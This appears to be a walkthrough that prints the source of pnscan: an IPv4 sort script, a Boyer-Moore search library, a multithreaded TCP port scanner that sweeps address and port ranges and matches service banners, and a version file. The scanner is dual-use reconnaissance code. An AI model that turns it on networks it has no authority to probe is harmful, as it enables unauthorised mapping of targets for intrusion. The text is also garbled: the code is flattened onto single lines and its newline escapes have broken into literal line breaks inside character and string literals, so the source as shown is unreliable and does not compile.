#!/bin/sh # # Sort a file using IPv4 addresses in at the beginning of each line exec sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n "$@"

Next there is a Boyer-Moore string search library (files bm.c and bm.h) with header file:



#ifndef PNSCAN_BM_H #define PNSCAN_BM_H #define BM_ASIZE 256 /* Allowed character code values */ typedef struct { int xsize; int *bmGs; int bmBc[BM_ASIZE]; unsigned char *saved_x; int saved_m; int icase; } BM; extern int bm_init(BM *bmp, unsigned char *x, int m, int icase); extern int bm_search(BM *bmp, unsigned char *y, int n, int (*mfun)(void *buf, int n, int pos)); extern void bm_destroy(BM *bmp); #endif

And the main library code is stored in bm.c which is the one below.



/* Boyer-Moore string search as found on the internet using Google */ #include <pthread.h> #include <stdlib.h> #include <ctype.h> #include <string.h> #include "bm.h" #define MAX(a,b) ((a) < (b) ? (b) : (a)) static void preBmBc(unsigned char *x, int m, int bmBc[]) { int i; for (i = 0; i < BM_ASIZE; ++i) bmBc[i] = m; for (i = 0; i < m - 1; ++i) bmBc[x[i]] = m - i - 1; } static void suffixes(unsigned char *x, int m, int *suff) { int f, g, i; f = 0; suff[m - 1] = m; g = m - 1; for (i = m - 2; i >= 0; --i) { if (i > g && suff[i + m - 1 - f] < i - g) suff[i] = suff[i + m - 1 - f]; else { if (i < g) g = i; f = i; while (g >= 0 && x[g] == x[g + m - 1 - f]) --g; suff[i] = f - g; } } } static int preBmGs(unsigned char *x, int m, int bmGs[]) { int i, j, *suff; suff = (int *) calloc(sizeof(int), m); if (suff == NULL) return -1; suffixes(x, m, suff); for (i = 0; i < m; ++i) bmGs[i] = m; j = 0; for (i = m - 1; i >= -1; --i) if (i == -1 || suff[i] == i + 1) for (; j < m - 1 - i; ++j) if (bmGs[j] == m) bmGs[j] = m - 1 - i; for (i = 0; i <= m - 2; ++i) bmGs[m - 1 - suff[i]] = m - 1 - i; free(suff); return 0; } int bm_init(BM *bmp, unsigned char *x, int m, int icase) { int i; memset(bmp, 0, sizeof(bmp)); bmp->icase = icase; bmp->bmGs = (int *) calloc(sizeof(int), m); if (bmp->bmGs == NULL) return -1; bmp->saved_m = m; bmp->saved_x = (unsigned char *) malloc(m); if (bmp->saved_x == NULL) return -2; for (i = 0; i < m; i++) bmp->saved_x[i] = icase ? tolower(x[i]) : x[i]; /* Preprocessing */ if (preBmGs(bmp->saved_x, m, bmp->bmGs) < 0) return -3; preBmBc((unsigned char *) bmp->saved_x, m, bmp->bmBc); return 0; } void bm_destroy(BM *bmp) { if (bmp->bmGs) free(bmp->bmGs); if (bmp->saved_x) free(bmp->saved_x); } /* Search for matches ** ** If mfun is defined, then call this function for each match. ** If mfun returns anything else but 0 abort the search. If the ** returned value is < 0 then return this value, else return the ** number of matches (so far). ** ** If mfun is NULL then stop at first match and return the position */ int bm_search(BM *bmp, unsigned char *y, int n, int (*mfun)(void *buf, int n, int pos)) { int i, j, c; int nm = 0; /* Searching */ j = 0; while (j <= n - bmp->saved_m) { for (i = bmp->saved_m - 1; i >= 0 && bmp->saved_x[i] == (bmp->icase ? tolower(y[i + j]) : y[i + j]); --i) ; if (i < 0) { if (mfun) { ++nm; c = mfun(y, n, j); if (c) return (c < 0 ? c : nm); j += bmp->bmGs[0]; } else return j; } else { unsigned char c = (bmp->icase ? tolower(y[i + j]) : y[i + j]); j += MAX(bmp->bmGs[i], bmp->bmBc[c] - bmp->saved_m + 1 + i); } } return mfun == NULL ? -1 : nm; } #if 0 int main(int argc, char *argv[]) { int pos; bm_setup(argv[1], strlen(argv[1])); pos = bm_search(argv[2], strlen(argv[2])); printf("Match at pos %d

", pos); exit(0); } #endif

And finally we have ‘pnscan.c’ which is a multi-threaded port scanner. Here is its code:



#include <stdio.h> #include <stdlib.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <signal.h> #include <fcntl.h> #include <poll.h> #include <netdb.h> #include <locale.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <arpa/telnet.h> #include <sys/time.h> #include <sys/resource.h> #include <unistd.h> #include <pthread.h> #include "bm.h" #define RESPONSE_MAX_SIZE 1024 extern char version[]; unsigned char *wstr = NULL; int wlen = 0; unsigned char *rstr = NULL; int rlen = 0; int debug = 0; int verbose = 0; int stop = 0; int tworkers = 1; /* Currently running worker threads */ int mworkers = 1; /* Peak started concurrent worker threads */ int aworkers = 0; /* Currently active probing worker threads */ int nworkers = 0; /* Max concurrent worker threads */ int timeout = 1000; /* ms */ int pr_sym = 0; int line_f = 0; int use_shutdown = 0; int maxlen = 64; int first_port = 0; int last_port = 0; unsigned long first_ip = 0x00000000; unsigned long last_ip = 0xFFFFFFFF; pthread_mutex_t cur_lock; unsigned long cur_ip; int cur_port; pthread_mutex_t print_lock; int ignore_case = 0; BM bmb; void print_version(FILE *fp) { fprintf(fp, "[PNScan, version %s - %s %s]

", version, __DATE__, __TIME__); } int get_char_code(unsigned char **cp, int base) { int val = 0; int len = 0; while (len < (base == 16 ? 2 : 3) && ((**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base)) || (base >= 10 && toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10))) { val *= base; if (**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base)) val += **cp - '0'; else if (base >= 10 && toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10) val += toupper(**cp) - 'A' + 10; ++*cp; ++len; } return val & 0xFF; } int dehex(unsigned char *str) { unsigned char *wp, *rp; int val; rp = wp = str; while (*rp) { while (*rp && isspace(* (unsigned char *) rp)) ++rp; if (*rp == '\0') break; if (!isxdigit(* (unsigned char *) rp)) return -1; val = get_char_code(&rp, 16); *wp++ = val; } *wp = '\0'; return wp - str; } int deslash(unsigned char *str) { unsigned char *wp, *rp; rp = wp = str; while (*rp) { if (*rp != '\\') *wp++ = *rp++; else { switch (*++rp) { case 'n': *wp++ = 10; ++rp; break; case 'r': *wp++ = 13; ++rp; break; case 't': *wp++ = 9; ++rp; break; case 'b': *wp++ = 8; ++rp; break; case 'x': ++rp; *wp++ = get_char_code(&rp, 16); break; case '0': *wp++ = get_char_code(&rp, 8); break; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': *wp++ = get_char_code(&rp, 10); break; default: *wp++ = *rp++; break; } } } *wp = '\0'; return wp-str; } void print_host(FILE *fp, struct in_addr in, int port) { struct hostent *hep = NULL; if (pr_sym) { hep = gethostbyaddr((const char *) &in, sizeof(in), AF_INET); fprintf(fp, "%-15s : %-40s : %5d", inet_ntoa(in), hep ? hep->h_name : "(unknown)", port); } else fprintf(fp, "%-15s : %5d", inet_ntoa(in), port); } int t_write(int fd, unsigned char *buf, int len) { int tw, wl, code; struct pollfd pfd; tw = len; while (tw > 0) { pfd.fd = fd; pfd.events = POLLOUT; pfd.revents = 0; while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR) errno = 0; if (code == 0) { code = -1; errno = ETIMEDOUT; } while ((wl = write(fd, buf, tw)) < 0 && errno == EINTR) ; if (wl < 0) return wl; tw -= wl; buf += wl; } return len; } int t_read(int fd, unsigned char *buf, int size) { int len, code; struct pollfd pfd; pfd.fd = fd; pfd.events = POLLIN; pfd.revents = 0; while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR) errno = 0; if (code == 0) { errno = ETIMEDOUT; return -1; } while ((len = read(fd, buf, size)) < 0 && errno == EINTR) ; return len; } int is_text(unsigned char *cp, int slen) { while (slen > 0 && (isprint(*cp) || *cp == '\0' || *cp == '\t' || *cp == '

' || *cp == '\r')) { --slen; ++cp; } return slen == 0; } int print_output(unsigned char *str, int slen) { unsigned char *cp = str; int len; len = 0; if (str == NULL) { printf("NULL"); return len; } if (slen >= 2 && cp[0] == IAC && cp[1] >= xEOF) { printf("TEL : "); while (len < slen && len < maxlen) { if (*cp == IAC) { ++len; printf("<IAC>"); switch (*++cp) { case 0: return len; case DONT: printf("<DONT>"); break; case DO: printf("<DO>"); break; case WONT: printf("<WONT>"); break; case WILL: printf("<WILL>"); break; case SB: printf("<SB>"); break; case GA: printf("<GA>"); break; case EL: printf("<EL>"); break; case EC: printf("<EC>"); break; case AYT: printf("<AYT>"); break; case AO: printf("<AO>"); break; case IP: printf("<IP>"); break; case BREAK: printf("<BREAK>"); break; case DM: printf("<DM>"); break; case NOP: printf("<NOP>"); break; case SE: printf("<SE>"); break; case EOR: printf("<EOR>"); break; case ABORT: printf("<ABORT>"); break; case SUSP: printf("<SUSP>"); break; case xEOF: printf("<xEOF>"); break; default: printf("<0x%02X>", *cp); } } else if (isprint(*cp)) putchar(*cp); else { switch (*cp) { case '

': if (line_f) return len; printf("\

"); break; case '\r': if (line_f) return len; printf("\\r"); break; case '\t': printf("\\t"); break; case '\0': printf("\\0"); break; default: printf("\\x%02X", *cp); } } ++len; ++cp; } } else if (is_text(str, slen)) { printf("TXT : "); while (len < slen && len < maxlen) { if (isprint(* (unsigned char *) str)) putchar(*str); else switch (*str) { case '\0': printf("\\0"); break; case '

': if (line_f) return len; printf("\

"); break; case '\r': if (line_f) return len; printf("\\r"); break; case '\t': printf("\\t"); break; default: printf("\\x%02x", * (unsigned char *) str); } ++len; ++str; } } else { printf("HEX :"); while (len < slen && len < maxlen) { printf(" %02x", * (unsigned char *) str); ++len; ++str; } } return len; } int probe(unsigned long addr, int port) { int fd, code, len; struct sockaddr_in sin; unsigned char buf[RESPONSE_MAX_SIZE]; struct pollfd pfd; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) return -1; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = htonl(addr); code = fcntl(fd, F_GETFL, 0); if (code < 0) { close(fd); return -1; } #ifdef FNDELAY code = fcntl(fd, F_SETFL, code|FNDELAY); #else code = fcntl(fd, F_SETFL, code|O_NONBLOCK); #endif if (code < 0) { close(fd); return -1; } while ((code = connect(fd, (struct sockaddr *) &sin, sizeof(sin))) < 0 && errno == EINTR) errno = 0; if (code < 0 && errno == EINPROGRESS) { pfd.fd = fd; pfd.events = POLLOUT; pfd.revents = 0; while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR) errno = 0; if (code == 0) { code = -1; errno = ETIMEDOUT; } } if (code < 0) { if (verbose) { pthread_mutex_lock(&print_lock); print_host(stderr, sin.sin_addr, port); fprintf(stderr, " : ERR : connect() failed: %s

", strerror(errno)); pthread_mutex_unlock(&print_lock); } close(fd); return 0; } if (wstr) { code = t_write(fd, wstr, wlen); if (code < 0) { if (verbose) { pthread_mutex_lock(&print_lock); print_host(stderr, sin.sin_addr, port); fprintf(stderr, " : ERR : write() failed: %s

", strerror(errno)); pthread_mutex_unlock(&print_lock); } close(fd); return 0; } } if (use_shutdown) shutdown(fd, 1); while ((len = t_read(fd, buf, sizeof(buf)-1)) < 0 && errno == EINTR) ; if (len < 0) { if (verbose) { pthread_mutex_lock(&print_lock); print_host(stderr, sin.sin_addr, port); fprintf(stderr, " : ERR : read() failed: %s

", strerror(errno)); pthread_mutex_unlock(&print_lock); } close(fd); return -1; } buf[len] = '\0'; if (rstr) { int pos; pos = bm_search(&bmb, buf, len, NULL); if (pos >= 0) { if (line_f) while (pos > 0 && !(buf[pos-1] == '

' || buf[pos-1] == '\r')) --pos; pthread_mutex_lock(&print_lock); print_host(stdout, sin.sin_addr, port); printf(" : "); print_output(buf+pos, len-pos); putchar('

'); pthread_mutex_unlock(&print_lock); } } else { pthread_mutex_lock(&print_lock); print_host(stdout, sin.sin_addr, port); printf(" : "); print_output(buf, len); putchar('

'); pthread_mutex_unlock(&print_lock); } close(fd); return 1; } void * r_worker(void *arg) { unsigned long addr; int port; pthread_t tid; pthread_mutex_lock(&cur_lock); while (!stop) { if (cur_ip <= last_ip) { port = cur_port; addr = cur_ip++; } else { if (cur_port >= last_port) { stop = 1; break; } port = ++cur_port; addr = cur_ip = first_ip; } if (aworkers >= tworkers-1 && tworkers < nworkers) { ++tworkers; if (pthread_create(&tid, NULL, r_worker, NULL) != 0) { --tworkers; nworkers = tworkers; } if (tworkers > mworkers) mworkers = tworkers; } ++aworkers; pthread_mutex_unlock(&cur_lock); probe(addr, port); pthread_mutex_lock(&cur_lock); --aworkers; } --tworkers; pthread_mutex_unlock(&cur_lock); fflush(stdout); return NULL; } int get_host(char *str, unsigned long *ip) { struct hostent *hep; unsigned long tip; hep = gethostbyname(str); if (hep && hep->h_addr_list &&hep->h_addr_list[0]) { tip = * (unsigned long *) (hep->h_addr_list[0]); *ip = ntohl(tip); return 1; } return inet_pton(AF_INET, str, ip); } int get_service(char *str, int *pp) { struct servent *sep; sep = getservbyname(str, "tcp"); if (sep) { *pp = ntohs(sep->s_port); return 1; } if (sscanf(str, "%u", pp) != 1) return -1; if (*pp < 1 || *pp > 65535) return 0; return 1; } void * f_worker(void *arg) { unsigned long addr; int port, code; char buf[1024]; char *host; char *serv; char *tokp; pthread_t tid; pthread_mutex_lock(&cur_lock); while (!stop) { if (fgets(buf, sizeof(buf), stdin) == NULL) { if (debug) fprintf(stderr, "*** GOT EOF ***

"); stop = 1; break; } host = strtok_r(buf, " \t

\r", &tokp); serv = strtok_r(NULL, " \t

\r", &tokp); if (host == NULL || host[0] == '#') continue; if (get_host(host, &addr) != 1) { if (verbose) fprintf(stderr, "%s: invalid host

", host); continue; } if (serv == NULL) { if (first_port == 0) { if (verbose) fprintf(stderr, "%s: missing service specification

", host); continue; } port = first_port; } else { code = get_service(serv, &port); if (code != 1) { if (verbose) fprintf(stderr, "%s: invalid service (code=%d)

", serv, code); continue; } } if (aworkers >= tworkers-1 && tworkers < nworkers) { ++tworkers; if (pthread_create(&tid, NULL, f_worker, NULL) != 0) { --tworkers; nworkers = tworkers; } if (tworkers > mworkers) mworkers = tworkers; } ++aworkers; pthread_mutex_unlock(&cur_lock); probe(addr, port); pthread_mutex_lock(&cur_lock); --aworkers; } --tworkers; pthread_mutex_unlock(&cur_lock); fflush(stdout); return NULL; } char *argv0 = "pnscan"; void usage(FILE *out) { /* fprintf(out, "Usage: %s [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]

", argv0); fputs("

\ This program implements a multithreaded TCP port scanner.

\ More information may be found at:

\ \thttp://www.lysator.liu.se/~pen/pnscan

\

\ Command line options:

", out); fprintf(out, "\t-h Display this information.

"); fprintf(out, "\t-V Print version.

"); fprintf(out, "\t-v Be verbose.

"); fprintf(out, "\t-d Print debugging info.

"); fprintf(out, "\t-s Lookup and print hostnames.

"); fprintf(out, "\t-i Ignore case when scanning responses.

"); fprintf(out, "\t-S Enable shutdown mode.

"); fprintf(out, "\t-l Line oriented output.

"); fprintf(out, "\t-w<string> Request string to send.

"); fprintf(out, "\t-W<hex list> Hex coded request string to send.

"); fprintf(out, "\t-r<string> Response string to look for.

"); fprintf(out, "\t-R<hex list> Hex coded response string to look for.

"); fprintf(out, "\t-L<length> Max bytes to print.

"); fprintf(out, "\t-t<msecs> Connect/Write/Read timeout.

"); fprintf(out, "\t-n<workers> Concurrent worker threads limit.

"); */ } int get_network(char *str, unsigned long *np) { struct netent *nep; struct in_addr ia; nep = getnetbyname(str); if (nep) { ia = inet_makeaddr(nep->n_net, 0); *np = ntohl(ia.s_addr); return 1; } return inet_pton(AF_INET, str, np); } int get_ip_range(char *str, unsigned long *first_ip, unsigned long *last_ip) { char first[1024], last[1024]; int len; unsigned long ip; unsigned long mask = 0; if (sscanf(str, "%1023[^/ ] / %u", first, &len) == 2) { /* CIDR */ if (get_network(first, &ip) != 1 || len < 0 || len > 32) return -1; ip = ntohl(ip); *first_ip = ip+1; len = 32-len; while (len-- > 0) mask = ((mask << 1)|1); *last_ip = (ip|mask)-1; return 2; } switch (sscanf(str, "%1023[^: ] : %1023s", first, last)) { case 1: if (get_host(first, first_ip) != 1) return -1; *last_ip = *first_ip; return 1; case 2: if (get_host(first, first_ip) != 1) return -1; if (get_host(last, last_ip) != 1) return -1; return 2; } return -1; } int get_port_range(char *str, int *first_port, int *last_port) { char first[256], last[256]; switch (sscanf(str, "%255[^: ] : %255s", first, last)) { case 1: if (strcmp(first, "all") == 0) { *first_port = 1; *last_port = 65535; return 2; } if (get_service(first, first_port) != 1) return -1; *last_port = *first_port; return 1; case 2: if (get_service(first, first_port) != 1) return -1; if (get_service(last, last_port) != 1) return -1; return 2; } return -1; } void e_fun(void) { printf("mworkers = %d, tworkers = %d, aworkers = %d, nworkers = %d

", mworkers, tworkers, aworkers, nworkers); } int main(int argc, char *argv[]) { int i, j; struct rlimit rlb; char *arg; argv0 = argv[0]; setlocale(LC_CTYPE, ""); first_port = 0; last_port = 0; getrlimit(RLIMIT_NOFILE, &rlb); rlb.rlim_cur = rlb.rlim_max; setrlimit(RLIMIT_NOFILE, &rlb); signal(SIGPIPE, SIG_IGN); nworkers = rlb.rlim_cur - 8; if (nworkers > 1024) nworkers = 1024; pthread_mutex_init(&cur_lock, NULL); pthread_mutex_init(&print_lock, NULL); for (i = 1; i < argc && argv[i][0] == '-'; i++) for (j = 1; j > 0 && argv[i][j]; ++j) switch (argv[i][j]) { case '-': ++i; goto EndOptions; case 'V': print_version(stdout); break; case 'd': ++debug; break; case 'i': ignore_case = 1; break; case 'v': ++verbose; break; case 'h': usage(stdout); exit(0); case 'l': ++line_f; break; case 's': ++pr_sym; break; case 'S': ++use_shutdown; break; case 'w': if (argv[i][2]) wstr = (unsigned char *) strdup(argv[i]+2); else wstr = (unsigned char *) strdup(argv[++i]); wlen = deslash(wstr); j = -2; break; case 'W': if (argv[i][2]) wstr = (unsigned char *) strdup(argv[i]+2); else wstr = (unsigned char *) strdup(argv[++i]); wlen = dehex(wstr); j = -2; break; case 'R': if (argv[i][2]) rstr = (unsigned char *) strdup(argv[i]+2); else rstr = (unsigned char *) strdup(argv[++i]); rlen = dehex(rstr); j = -2; break; case 'r': if (argv[i][2]) rstr = (unsigned char *) strdup(argv[i]+2); else rstr = (unsigned char *) strdup(argv[++i]); rlen = deslash(rstr); j = -2; break; case 'L': if (argv[i][2]) arg = argv[i]+2; else arg = argv[++i]; if (!arg || sscanf(arg, "%u", &maxlen) != 1) { fprintf(stderr, "%s: Invalid length specification: %s

", argv[0], arg ? arg : "<null>"); exit(1); } j = -2; break; case 't': if (argv[i][2]) arg = argv[i]+2; else arg = argv[++i]; if (!arg || sscanf(arg, "%u", &timeout) != 1) { fprintf(stderr, "%s: Invalid timeout specification: %s

", argv[0], arg ? arg : "<null>"); exit(1); } j = -2; break; case 'n': if (argv[i][2]) arg = argv[i]+2; else arg = argv[++i]; if (!arg || sscanf(arg, "%u", &nworkers) != 1) { fprintf(stderr, "%s: Invalid workers specification: %s

", argv[0], arg ? arg : "<null>"); exit(1); } j = -2; break; default: fprintf(stderr, "%s: unknown command line switch: -%c

", argv[0], argv[i][j]); exit(1); } EndOptions: if (rstr) { if (bm_init(&bmb, rstr, rlen, ignore_case) < 0) { fprintf(stderr, "%s: Failed search string setup: %s

", argv[0], rstr); exit(1); } } if (debug) atexit(e_fun); if (i == argc || i+1 == argc) { if (i + 1 == argc) get_service(argv[i], &first_port); f_worker(NULL); pthread_exit(NULL); return 1; /* Not reached */ } if (i + 2 != argc) { fprintf(stderr, "%s: Missing or extra argument(s). Use '-h' for help.

", argv[0]); exit(1); } if (get_ip_range(argv[i], &first_ip, &last_ip) < 1) { fprintf(stderr, "%s: Invalid IP address range: %s

", argv[0], argv[i]); exit(1); } if (get_port_range(argv[i+1], &first_port, &last_port) < 1) { fprintf(stderr, "%s: Invalid Port range: %s

", argv[0], argv[i+1]); exit(1); } cur_ip = first_ip; cur_port = first_port; r_worker(NULL); pthread_exit(NULL); return 1; /* Not reached */ }

At last, the version file is this:



char version[] = "1.11";